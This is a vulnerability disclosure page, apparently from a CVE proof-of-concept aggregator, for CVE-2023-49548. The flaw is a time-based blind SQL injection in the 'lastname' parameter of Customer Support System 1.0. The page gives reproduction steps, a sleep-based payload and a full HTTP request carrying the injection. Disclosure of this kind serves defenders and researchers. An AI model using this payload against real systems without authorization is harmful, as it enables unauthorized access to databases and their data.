关联漏洞
标题：
Customer Support System 安全漏洞
(CVE-2023-49548)
描述：Customer Support System是oretnom23个人开发者的一个客户支持系统，可以帮助某个企业或公司在客户从他们那里购买产品后提供客户支持。 Customer Support System v1 版本存在安全漏洞，该漏洞源于 /customer_support/ajax.php?action=save_user 页面的 lastname 参数存在 SQL 注入漏洞。
描述
Customer Support System 1.0 - SQL Injection Vulnerability in the "lastname" Parameter During "save_user" Operation
介绍
# CVE-2023-49548
# Customer Support System 1.0 - SQL Injection Vulnerability in the "lastname" Parameter During "save_user" Operation
**Description**: A SQL Injection vulnerability exists in version 1 of the Customer Support System. A malicious attacker can issue SQL commands to the MySQL database when creating/editing a user through the vulnerable parameter 'lastname'.
**Vulnerable Product Version**: Customer Support System 1.0
**CVE Author**: Geraldo Alcântara
**Date**: 28/11/2023
**Confirmed on**: 19/12/2023
**CVE**: CVE-2023-49548
**Tested on**: Windows
### Steps to reproduce:
1- Log in to the application.
2- Click on your user image and select "Manage Account."
3- Insert the malicious payload into the "lastname" parameter.
**payload**: '%20and%20(select*from(select(sleep(20)))a)--%20
### Request:
```
POST /customer_support/ajax.php?action=save_user HTTP/1.1
Host: 192.168.68.182
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 144
Origin: http://192.168.68.182
Connection: close
Referer: http://192.168.68.182/customer_support/index.php?page=department_list
Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
id=1&table=users&firstname=Administrator&middlename=teste&lastname='%20and%20(select*from(select(sleep(5)))a)--%20&username=admin&password=admin
```
Discoverer(s)/Credits:
Geraldo Alcântara
文件快照
[4.0K] /data/pocs/23a2c438bc20b6912682e75f1d77c9f5e1e64d0d
└── [1.6K] README.md
0 directories, 1 file
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